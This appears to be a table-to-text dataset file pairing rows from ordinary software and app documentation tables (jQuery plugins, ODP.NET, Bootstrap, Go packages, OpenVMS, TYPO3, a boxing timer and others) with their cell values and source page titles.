Input: [Hotkey] SHIFT-Arrow Up/Down [Purpose]

Output: Extends the current selection to the previous/next element.


Input: [Hotkey] Page Up/Down [Purpose]

Output: Jumps to the first/last currently visible item of the current phrase folder level.


Input: [Hotkey] SHIFT-Page Up/Down [Purpose]

Output: Extends the current selection to all currently visible previous/next elements of the current phrase folder level.


Input: [Hotkey] CTRL-Page Up/Down [Purpose]

Output: Shifts the current tree view within the viewport to the top/bottom currently visible item.


Input: [Hotkey] Home/End [Purpose]

Output: Jumps to the first/last item of the current phrase folder level.


Input: [Hotkey] CTRL-Home/End [Purpose]

Output: Jumps to the very first/last item of your entire phrase librabry.


Input: [Option] resizeWidth [Default Value] 800 [Description]

Output: Minimum width to collapse the navigation menu. Navigation menu will be collapsed when document width is below this size or equal to it.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Option] collapserTitle [Default Value] Main Menu [Valid Values] slow, medium, fast or miliseconds [Description]

Output: Collapsed menu title.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Option] animSpeed [Default Value] medium [Description]

Output: Speed of the submenu expand and collapse animation.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Option] easingEffect [Default Value] null [Valid Values] Any easing effect. [Description]

Output: Easing effect that will be used when expanding and collapsing menu and submenus.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Option] indentChildren [Default Value] false [Valid Values] true, false [Description]

Output: Indentation option for the responsive collapsed submenus. If set to true, all submenus will be indented with the value of the childrenIndenter option.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Option] childrenIndenter [Description]

Output: This character will be prepended and responsive submenus will be indented with this character according to their level.

jQuery slimMenu - A lightweight responsive and multi-level navigation menu plugin.


Input: [Name] string[attribute] [Description]

Output: Read or write element’s attribure value.

Scraping content with PHP as if was jQuery, PHP jQuery like methods


Input: [Name] stringtag [Description]

Output: Read or write the tag name of element.

Scraping content with PHP as if was jQuery, PHP jQuery like methods


Input: [Name] stringoutertext [Description]

Output: Read or write the outer HTML text of element.

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Input: [Name] stringinnertext [Description]

Output: Read or write the inner HTML text of element.

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Input: [Name] stringplaintext [Description]

Output: Read or write the plain text of element.

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Input: [Name] mixedfind ( string $selector [, int $index] ) [Description]

Output: Find children by the CSS selector. Returns the Nth element object if index is set, otherwise, return an array of object.

Scraping content with PHP as if was jQuery, PHP jQuery like methods


Input: [Value] 0 [Description]

Output: Not Enabled

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 1 [Description]

Output: Number of sessions being established with Oracle Database every second.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 2 [Description]

Output: Number of sessions being severed from Oracle Database every second.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 4 [Description]

Output: Number of active connections originating from connection pools every second.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 8 [Description]

Output: Number of active connections going back to the connection pool every second.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 16 [Description]

Output: Total number of active connections.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 32 [Description]

Output: Number of inactive connection pools.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 64 [Description]

Output: Total number of connections in use.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 128 [Description]

Output: Total number of connections available for use in all the connection pools.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 256 [Description]

Output: Number of pooled active connections.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 1024 [Description]

Output: Number of non-pooled active connections.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 2048 [Description]

Output: Number of connections that will be soon available in the pool. User has closed these connections, but they are currently awaiting actions, such transaction completion, before they can be placed back into the pool as free connections.

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] 4095 [Description]

Output: All the above

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Value] Default: [Description]

Output: 0

ODP.NET – “Pooling” and “Connection request timed out” | Joao @ iLab8


Input: [Class] .visible-phone [Phones767px and below] Visible [Tablets979px to 768px] Hidden [DesktopsDefault]

Output: Hidden

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [Class] .visible-tablet [Phones767px and below] Hidden [Tablets979px to 768px] Visible [DesktopsDefault]

Output: Hidden

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [Class] .visible-desktop [Phones767px and below] Hidden [Tablets979px to 768px] Hidden [DesktopsDefault]

Output: Visible

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [Class] .hidden-phone [Phones767px and below] Hidden [Tablets979px to 768px] Visible [DesktopsDefault]

Output: Visible

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [Class] .hidden-tablet [Phones767px and below] Visible [Tablets979px to 768px] Hidden [DesktopsDefault]

Output: Visible

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [Class] .hidden-desktop [Phones767px and below] Visible [Tablets979px to 768px] Visible [DesktopsDefault]

Output: Hidden

Coding Everyday: Adsense - Responsive Ads with CSS @media queries from Bootstrap responsive utility classes


Input: [errorType] invalid_auth [Status Code] 401 [Explanation]

Output: OAuth token was not provided or was invalid.


Input: [errorType] param_error [Status Code] 400 [Explanation]

Output: A required parameter was missing or a parameter was malformed. This is also used if the resource ID in the path is incorrect.


Input: [errorType] endpoint_error [Status Code] 404 [Explanation]

Output: The requested path does not exist.


Input: [errorType] not_authorized [Status Code] 403 [Explanation]

Output: Although authentication succeeded, the acting user is not allowed to see this information due to privacy restrictions.


Input: [errorType] rate_limit_exceeded [Status Code] 403 [Explanation]

Output: Rate limit for this hour exceeded.


Input: [errorType] deprecated [Status Code] 200 [Explanation]

Output: Something about this request is using deprecated functionality, or the response format may be about to change.


Input: [errorType] server_error [Status Code] Varies [Explanation]

Output: Server is currently experiencing issues. Check status.foursquare.com for updates.


Input: [errorType] other [Status Code] Varies [Explanation]

Output: Some other type of error occurred.


Input: [Path] cases [Synopsis]

Output: Package cases provides general and language-specific case mappers.


Input: [Path] cldr [Synopsis]

Output: Package cldr provides a parser for LDML and related XML formats.


Input: [Path] collate [Synopsis]

Output: Package collate contains types for comparing and sorting Unicode strings according to a given collation order.


Input: [Path] display [Synopsis]

Output: Package display provides display names for languages, scripts and regions in a requested language.


Input: [Path] encoding [Synopsis]

Output: Package encoding defines an interface for character encodings, such as Shift JIS and Windows 1252, that can convert to and from UTF-8.


Input: [Path] encoding/charmap [Synopsis]

Output: Package charmap provides simple character encodings such as IBM Code Page 437 and Windows 1252.


Input: [Path] encoding/htmlindex [Synopsis]

Output: Package htmlindex maps character set encoding names to Encodings as recommended by the W3C for use in HTML 5.


Input: [Path] encoding/ianaindex [Synopsis]

Output: Package ianaindex maps names to Encodings as specified by the IANA registry.


Input: [Path] encoding/internal [Synopsis]

Output: Package internal contains code that is shared among encoding implementations.


Input: [Path] encoding/internal/identifier [Synopsis]

Output: Package identifier defines the contract between implementations of Encoding and Index by defining identifiers that uniquely identify standardized coded character sets (CCS) and character encoding schemes (CES), which we will together refer to as encodings, for which Encoding implementations provide converters to and from UTF-8.


Input: [Path] encoding/japanese [Synopsis]

Output: Package japanese provides Japanese encodings such as EUC-JP and Shift JIS.


Input: [Path] encoding/korean [Synopsis]

Output: Package korean provides Korean encodings such as EUC-KR.


Input: [Path] encoding/simplifiedchinese [Synopsis]

Output: Package simplifiedchinese provides Simplified Chinese encodings such as GBK.


Input: [Path] encoding/traditionalchinese [Synopsis]

Output: Package traditionalchinese provides Traditional Chinese encodings such as Big5.


Input: [Path] encoding/unicode [Synopsis]

Output: Package unicode provides Unicode encodings such as UTF-16.


Input: [Path] internal/colltab [Synopsis]

Output: Package colltab contains functionality related to collation tables.


Input: [Path] internal/gen [Synopsis]

Output: Package gen contains common code for the various code generation tools in the text repository.


Input: [Path] internal/testtext [Synopsis]

Output: Package testtext contains test data that is of common use to the text repository.


Input: [Path] internal/triegen [Synopsis]

Output: Package triegen implements a code generator for a trie for associating unsigned integer values with UTF-8 encoded runes.


Input: [Path] internal/ucd [Synopsis]

Output: Package ucd provides a parser for Unicode Character Database files, the format of which is defined in http://www.unicode.org/reports/tr44/.


Input: [Path] language [Synopsis]

Output: Package language implements BCP 47 language tags and related functionality.


Input: [Path] runes [Synopsis]

Output: Package runes provide transforms for UTF-8 encoded text.


Input: [Path] search [Synopsis]

Output: Package search provides language-specific search and string matching.


Input: [Path] transform [Synopsis]

Output: Package transform provides reader and writer wrappers that transform the bytes passing through as well as various transformations.


Input: [Path] unicode/norm [Synopsis]

Output: Package norm contains types and functions for normalizing Unicode strings.


Input: [Path] unicode/rangetable [Synopsis]

Output: Package rangetable provides utilities for creating and inspecting unicode.RangeTables.


Input: [Path] width [Synopsis]

Output: Package width provides functionality for handling different widths in text.


Input: [Name] Rounds [Description]

Output: Select to set the number of rounds in your session. The number of rounds determines how many times the round/rest set is repeated in your session.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Repeat Mode [Description]

Output: Repeat mode repeats rounds infinitely until you stop your session. To set Boxing Timer Pro in repeat mode, set the number of rounds to 0. Note: When in repeat mode, the total time counts up instead of down.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Prepare Time [Description]

Output: Select to set prepare time. Prepare time is the time before your session begins.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Round Time [Description]

Output: Select to set round time. Round time is the active time in your session.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Warning Time [Description]

Output: Select to set warning time. Warning time is the amount of time from the end of round time to give a warning that the round is about to end.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Rest Time [Description]

Output: Select to set rest time. Rest time is the inactive amount of time between rounds.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Final Rest [Description]

Output: Turn off to skip the final rest period in your session.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Settings [Description]

Output: Tap to access the settings screen.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Sound On/Off [Description]

Output: Tap to toggle between sound on and off.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Sound Volume [Description]

Output: Slide the slider to increase/decrease alert sounds.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Blink [Description]

Output: Turn on to flash screen for a few seconds when the session transitions between phases, and while in warning phase.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Workout DJ [Description]

Output: Workout DJ automatically plays music during your session. For more information on how to use Workout DJ see: Using Workout DJ

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Start Sound [Description]

Output: The sound to play at the start of each round.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Warning Sound [Description]

Output: The sound to play at the specified warning time (the warning that the round is about to end.)

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Rest Sound [Description]

Output: The sound to play when the round is over, and it is time to rest.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Final Sound [Description]

Output: The sound to play at the beginning and end of the final round.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Countdown Sound [Description]

Output: When on the timer plays a short alert whistle when your round or rest phase is near its end. This sound is played at the 3,2, & 1 second mark.

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Name] Vibration [Description]

Output: Turn on to also receive a vibration of the device when alert sounds play (Available on iPhone only)

Boxing Timer Pro : Settings Guide - SimpleTouch


Input: [Task] Maze generation / rendering [Status] DONE [Notes]

Output: Generate maze on X-Y axis only

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Input: [Task] User input control [Status] DONE [Notes]

Output: Make camera not fly, lock mouse control to ground

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Input: [Task] Collision [Status] DONE [Notes]

Output: Add collision with floor and wall

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Input: [Task] Walls and lighting [Status] DONE [Notes]

Output: Use shadersFloor and wall should be composed of many triangles

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Input: [Task] Obstacles [Status] DONE [Notes]

Output: Obstacles will be non physical obstacles, like time or player gets tired for various actions.

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Input: [Task] Time limit [Status] DONE [Notes]

Output: Player has a limited time to complete the maze

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Input: [Task] HUD [Status] DONE [Notes]

Output: Create a HUD for displaying things like time, and status. Leaving the status open ended on purpose.

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Input: [Task] Added timer to HUD [Status] DONE [Notes]

Output: Create a HUD for displaying things like time.

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Input: [Task] Dialog box [Status] DONE [Notes]

Output: Improve initial dialog box

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Input: [Task] Jumping [Status] DONE [Notes]

Output: Space key jumps, to allow momentary visuals of the maze.

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Input: [Task] Toggle collision on and off [Status] DONE [Notes]

Output: Holding a key will allow collision to be turned off for debugging purposes.

GAM666/DPS901 Mesocricetus - Open Source@Seneca


Input: [Task] Add sound to end point [Status] DONE [Notes]

Output: Give user hint of end point by having a sound at that point.

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Input: [Name] adapter [Type] String [Description]

Output: Java class name implementing org.apache.cayenne.dba.DbAdapter. While this attribute is optional (a generic JdbcAdapter is used if not set), it is highly recommended to specify correct target adapter.

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Table 4.6. cdbimport optional parameters


Input: [Name] importProcedures [Type] boolean [Description]

Output: Indicates whether stored procedures should be imported from the database. Default is false.

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Input: [Name] meaningfulPk [Type] boolean [Description]

Output: Indicates whether primary keys should be mapped as attributes of the ObjEntity. Default is false.

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Input: [Name] namingStrategy [Type] String [Description]

Output: The naming strategy used for mapping database names to object entity names. Default is org.apache.cayenne.map.naming.SmartNamingStrategy.

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Input: [Name] overwriteExisting [Type] boolean [Description]

Output: Indicates whether existing DB and object entities should be overwritten. This is an all-or-nothing setting. If you need finer granularity, use the CayenneModeler. Default is "true".

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Input: [Name] password [Type] String [Description]

Output: Database user password.

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Input: [Name] procedurePattern [Type] String [Description]

Output: Pattern to match stored procedure names against for import. Default is to match all stored procedures. This value is only meaningful if importProcedures is true.

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Input: [Name] schemaName [Type] String [Description]

Output: Database schema to import tables/stored procedures from.

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Input: [Name] tablePattern [Type] String [Description]

Output: Pattern to match table names against for import. Default is to match all tables.

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Input: [Name] username [Type] String [Description]

Output: Database user name.

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Input: [Symbol] - [Description]

Output: Directory


Input: [Symbol] T [Description]

Output: Texture


Input: [Symbol] A [Description]

Output: Animation


Input: [Symbol] N [Description]

Output: Notecard


Input: [Symbol] S [Description]

Output: Script


Input: [Symbol] ! [Description]

Output: Failed to download asset.


Input: [Step 1] Step 2

Output: Enter your pin number followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Step 1] Step 3

Output: Enter the track code followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Step 1] Step 4

Output: Enter the race number followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Step 1] Step 5

Output: Enter the amount you want to wager followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Step 1] Step 6

Output: Enter the wagering code followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Step 1] Step 7

Output: Enter the runner(s) followed by the # key.

Dial 1-888-BET-RACE - Enter your account number followed by the # key.


Input: [Command] cancel [Description]

Output: Change the changes to the configuration being edited.


Input: [Command] edit [Description]

Output: Create or edit a configuration.


Input: [Command] list [Description]

Output: List existing configurations.


Input: [Command] propdel [Description]

Output: Delete a property from the edited configuration.


Input: [Command] proplist [Description]

Output: List properties from the edited configuration.


Input: [Command] propset [Description]

Output: Set a property on the edited configuration.


Input: [Command] update [Description]

Output: Save and propagate changes from the configuration being edited.


Input: [Parameter] WSDEFAULT [Definition]

Output: Initial size of the working set in 512-byte pagelets.

Calculating System Parameters for OpenVMS


Input: [Parameter] WSQUOTA [Definition]

Output: Maximum guaranteed amount of physical memory, in pagelets, that OpenVMS allocates to a given process. WSQUOTA is limited by the value of the SYSGEN parameter WSMAX. If WSQUOTA is larger than WSMAX, the user only has access to the amount of memory in WSMAX.

Calculating System Parameters for OpenVMS


Input: [Parameter] WSEXTENT [Definition]

Output: Indicates the maximum amount of physical memory which the process can own. The amount WSEXTENT less WSQUOTA is called borrowed memory, which is only allocated to the process if the system's current free list size exceeds the amount specified in the parameter BORROWLIM.

Calculating System Parameters for OpenVMS


Input: [Parameter] WSINC [Definition]

Output: The number of pagelets by which the working set size of a process is increased when it needs to grow.

Calculating System Parameters for OpenVMS


Input: [Parameter] WSDEC [Definition]

Output: The number of pagelets by which the working set size of a process is decreased when it needs to be reduced in size.

Calculating System Parameters for OpenVMS


Input: [Parameter] BORROWLIM [Definition]

Output: Minimum number of pagelets that must be in the free page list before a process can borrow pages in WSINC amounts up to WSEXTENT pages.

Calculating System Parameters for OpenVMS


Input: [Parameter] PFRATH (Page Fault Rate High) [Definition]

Output: Indicates the number of page faults that must occur within the period specified by AWSTIME, before OpenVMS makes an automatic working set adjustment to increase the working set by WSINC.

Calculating System Parameters for OpenVMS


Input: [Parameter] PFRATL (Page Fault Rate Low) [Definition]

Output: If the number of page faults is less than this value, OpenVMS makes an automatic working set adjustment to decrease the working set by WSDEC, but not below the point set by AWSMIN.

Calculating System Parameters for OpenVMS


Input: [Value] 1 [Meaning] A name given to the resource. [Name]

Output: Title


Input: [Value] 2 [Meaning] The topic of the content of the resource. [Name]

Output: Subject


Input: [Value] 3 [Meaning] A person or organization associated with the resource. [Name]

Output: Name


Input: [Value] 4 [Meaning] An account of the content of the resource. [Name]

Output: Description


Input: [Value] 5 [Meaning] A date associated with the creation or availability of the resource. [Name]

Output: Date


Input: [Value] 6 [Meaning] The nature or genre of the content of the resource. [Name]

Output: Resource Type


Input: [Value] 7 [Meaning] The physical or digital manifestation of the resource [Name]

Output: Format


Input: [Value] 8 [Meaning] An unambiguous reference to the resource within a given context. [Name]

Output: Resource Identifier


Input: [Value] 9 [Meaning] An identifier of a resource from which the present resource, in whole or in part, is derived. [Name]

Output: Source


Input: [Value] 10 [Meaning] A language of the intellectual content of the resource. [Name]

Output: Language


Input: [Value] 11 [Meaning] An identifier of a related resource. [Name]

Output: Relation


Input: [Value] 12 [Meaning] The extent or scope of the resource. [Name]

Output: Coverage


Input: [Value] 13 [Meaning] Information about rights held in and over the resource. [Name]

Output: Rights Management


Input: [Description] Loads an Excel workbook from a stream object at runtime. Selecting this action displays the dynamic parameter SourceStream. [Option]

Output: Load from stream


Input: [Description] Saves an Excel workbook to a stream object at runtime. Selecting this action displays the dynamic parameter TargetStream. [Option]

Output: Save to stream


Input: [Description] Gets a list of worksheets from an Excel workbook. The result is a regular array. Selecting this action displays the dynamic parameter ResultVariable. [Option]

Output: Get worksheets list


Input: [Description] Creates a new worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsWorksheetVariable, Worksheet, WorksheetVariable. [Option]

Output: New worksheet


Input: [Description] Renames a worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsOldNameVariable, OldName, OldNameVariable, IsNewNameVariable, NewName, NewNameVariable. [Option]

Output: Rename worksheet


Input: [Description] Deletes a worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsWorksheetVariable, Worksheet, WorksheetVariable. [Option]

Output: Delete worksheet


Input: [Description] Clears a worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsWorksheetVariable, Worksheet, WorksheetVariable. [Option]

Output: Clear worksheet


Input: [Description] Deletes columns in a worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsWorksheetVariable, Worksheet, WorksheetVariable, IsStartColumnVariable, StartColumn, StartColumnVariable, IsCountVariable, Count, CountVariable. [Option]

Output: Delete Columns


Input: [Description] Deletes rows in a worksheet. Selecting this action displays the dynamic parameters SaveAtEnd, IsWorksheetVariable, Worksheet, WorksheetVariable, IsStartRowVariable, StartRow, StartRowVariable, IsCountVariable, Count, CountVariable. [Option]

Output: Delete Rows


Input: [Description] Finds a cell with a specific value in a worksheet. Selecting this action displays the dynamic parameters FoundColumnVariable, FoundRowVariable, IsWorksheetVariable, Worksheet, WorksheetVariable, IsValueVariable, Value, ValueVariable, IsStartColumnVariable, StartColumn, StartColumnVariable, IsStartRowVariable, StartRow, StartRowVariable. [Option]

Output: Find cell


Input: [Description] Finds a cell with a specific value (old value) in a worksheet and replaces it with another value (new value). Selecting this action displays the dynamic parameters SaveAtEnd, ReplaceCountVariable, IsWorksheetVariable, Worksheet, WorksheetVariable, IsOldValueVariable, OldValue, OldValueVariable, IsNewValueVariable, NewValue, NewValueVariable. [Option]

Output: Replace cell


Input: [Description] Set an open or modify password for an Excel workbook. Selecting this action displays the dynamic parameters SaveAtEnd, IsOpenPasswordVariable, OpenPassword, OpenPasswordVariable, IsModifyPasswordVariable, ModifyPassword, ModifyPasswordVariable. [Option]

Output: Set password (1.5 SR-1)


Input: [Explanation] Insert the name of the tour [Parameter]

Output: concert_tour_name*

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert an image link in the following form: [[Image:MyImage.jpg|250px]] [Parameter]

Output: image

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert a caption for the image [Parameter]

Output: image_caption

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the artist or organization holding the tour [Parameter]

Output: artist

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the location(s) of where the tour took place (ex: cities, countries, continents) Use location if single entry; use locations is multiple entries; DO NOT use both [Parameter]

Output: location or locations

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the type of tour with capital letter; entry will be followed by the word "tour" (ex: World, Free, Benefit, Festival, Promotional, Revival, Reunion, etc.) [Parameter]

Output: type

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert wikilinked date of when the tour started (exact day preferred, month and year may be used). Use {{Start date}} [Parameter]

Output: start_date

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert wikilinked date of when the tour ended. {{End date}} [Parameter]

Output: end_date

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert numerical value for tour's number of legs (leave blank if only 1) [Parameter]

Output: number_of_legs

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert numerical value for tour's number of shows [Parameter]

Output: number_of_shows

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the artist or organization's previous tour, followed by a and the tour's year(s) in parenthesis (type N/A if none) [Parameter]

Output: last_tour

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the artist or organization tour in which the infobox is about in bold text, followed by a and the tour's year(s) in parenthesis [Parameter]

Output: this_tour

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the artist or organization's next tour, followed by a and the tour's year(s) in parenthesis (type ... if a future tour may occur; type N/A if there will be no future tour) [Parameter]

Output: next_tour

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the budget for the tour, denoting a specific currency [Parameter]

Output: budget

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] Insert the total gross revenue for the tour [Parameter]

Output: gross

Kigezo:Infobox concert tour/hati - Wikipedia, kamusi elezo huru


Input: [Explanation] {{Extra tour chronology}} may be used here for tours featuring various artists [Parameter]

Output: Misc

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Input: [instance] entity_handle [iMesh instance handle]

Output: Entity on which tag is being set

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [instance] tag_handle [iMesh instance handle]

Output: Tag being set on an entity

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [instance] *tag_value [iMesh instance handle]

Output: Pointer to tag data array being queried

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [instance] *tag_value_allocated [iMesh instance handle]

Output: Pointer to tag data array allocated size

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [instance] *tag_value_size [iMesh instance handle]

Output: Pointer to tag data array occupied size

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [instance] *err [iMesh instance handle]

Output: Pointer to error type returned from function

iMesh: /Users/kddevin/ITAPS/TSTT/Interface/iMesh/iMesh.h File Reference


Input: [Class name] \TYPO3\CMS\Core\Database\DatabaseConnection [Usage] Available as $GLOBALS['TYPO3_DB'] in both frontend and backend [Description]

Output: Database Abstraction Base API All access to the database must go through this object. That is the first step towards DBAL compliance in your code. The class contains MySQL wrapper functions which can almost be search/replaced with your existing calls.


Input: [Class name] \TYPO3\CMS\Core\Charset\CharsetConverter [Usage] In the backend, available as $GLOBALS['LANG']->csConvObj In the frontend, available as $GLOBALS['TSFE']->csConvObj [Description]

Output: Character Set handling API Contains native PHP code to handle character set conversion based on charset tables from Unicode.org. You should use this class whenever you need to handle character set conversion or to perform multibyte-safe string operations (like getting the length, cropping, etc.).


Input: [Class name] \TYPO3\CMS\Core\Utility\GeneralUtility [Usage] Static class, call methods using \TYPO3\CMS\Core\Utility\GeneralUtility:: [Description]

Output: General Purpose Functions A collection of multi-purpose PHP functions. Some are TYPO3 specific but not all. There are more specific utility classes in EXT:core/Classes/Utility.


Input: [Class name] \TYPO3\CMS\Backend\Utility\BackendUtility [Usage] Static class, call methods using \TYPO3\CMS\Backend\Utility\BackendUtility:: [Description]

Output: Backend Specific Functions Contains functions specific to the TYPO3 backend. You will typically need these when programming backend modules or other backend functionality. This class is NOT available in the frontend!


Input: [Class name] \TYPO3\CMS\Core\Utility\ExtensionManagementUtility [Usage] Static class, call methods using \TYPO3\CMS\Core\Utility\ExtensionManagementUtility:: [Description]

Output: Extension API functions Functions for extensions to interface with the core system. Many of these functions are used in ext\_localconf.php and ext\_tables.php files of extensions. They let extensions register their features with the system.


Input: [Class name] \TYPO3\CMS\Backend\Utility\IconUtility [Usage] Static class, call methods using \TYPO3\CMS\Backend\Utility\IconUtility:: [Description]

Output: Icons / Part of skinning API Contains a few functions for getting the right icon for a database table record or the skinned version of any other icon. This class is NOT available in the frontend!


Input: [Class name] \TYPO3\CMS\Backend\Template\DocumentTemplate [Usage] Available as $GLOBALS['TBE_TEMPLATE'], $GLOBALS['SOBE'] or $this->doc (inside of BE modules) [Description]

Output: Backend Template Class Contains functions for producing the layout of backend modules, setting up HTML headers, wrapping JavaScript sections correctly for XHTML, etc.


Input: [Name] tagSource [Type] String, Array, Callback [Default] [] [Note]

Output: This option maps directly to the jQuery UI Autocomplete source option


Input: [Name] triggerKeys [Type] Array [Default] ['enter', 'space', 'comma', 'tab'] [Note]

Output: An array containing all or any of the default options. These are the keys that will trigger a tag completion


Input: [Name] allowNewTags [Type] Bool [Default] true [Note]

Output: Allow tags that do not exist in tagSource to be entered?


Input: [Name] initialTags [Type] Array [Default] [] [Note]

Output: An array containing tags to pre-populate the field with


Input: [Name] minLength [Type] Int [Default] 1 [Note]

Output: The minimum length before a triggerKey will create a tag


Input: [Name] select [Type] Bool [Default] false [Note]

Output: Maintain a hidden select in place for form submissions To name the select simply give your UL a name attribute! Don't forget to include [ and ] if your language (e.g. PHP) requires them!


Input: [Name] tagsChanged [Type] Callback [Default] function(tagValue, action, element) [Note]

Output: Callback on changed tags: tagValue: string action: string - either 'added', 'popped', 'moved' or 'reset' element: object - reference to the added LI element


Input: [Name] caseSensitive [Type] Bool [Default] false [Note]

Output: The check for existing tags is case sensitive. If false the words "Foo" and "foo" considered the same


Input: [Name] highlightOnExistColor [Type] String [Default] #0F0 [Note]

Output: If the user tries to add a tag, that already exists, the existing tag will run a highlight effect using the defined background color. If null, the highlight effect is turned off.


Input: [Name] maxLength [Type] Int [Default] unlimited [Note]

Output: The maximum allowable length of a tag. If omitted, tags of unlimited length are allowed.


Input: [Name] maxTags [Type] Int [Default] unlimited [Note]

Output: The maximum number of tags that the user can enter. If omitted, an unlimited number of tags are allowed.


Input: [Name] sortable [Type] Bool, String [Default] false [Note]

Output: Allows the user to re-order the tags using drag and drop. If true the whole tag is draggable, if 'handle' a handle is rendered and the tag is only draggable using the handle.


Input: [File] radius.class.php [Role] Class [Description]

Output: Main file, class definition

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] radius.www.authenticate.php [Role] Appl. [Description]

Output: Additional file to implement WWW Authentication using a Radius server

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] radius.demo.php [Role] Example [Description]

Output: Demo file for regular usage

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] radius.demo.www.authenticate.php [Role] Example [Description]

Output: Demo of a WWW Authentication using a Radius server

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] radius.challenge.response.demo.php [Role] Example [Description]

Output: Challenge/response demo file

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] README.TXT [Role] Doc. [Description]

Output: README FILE

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] COPYING.LESSER [Role] Lic. [Description]

Output: LGPL Version 3.0

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


Input: [File] COPYING [Role] Lic. [Description]

Output: GPL Version 3.0

Pure PHP radius class: Authenticate users with a RADIUS server - PHP Classes


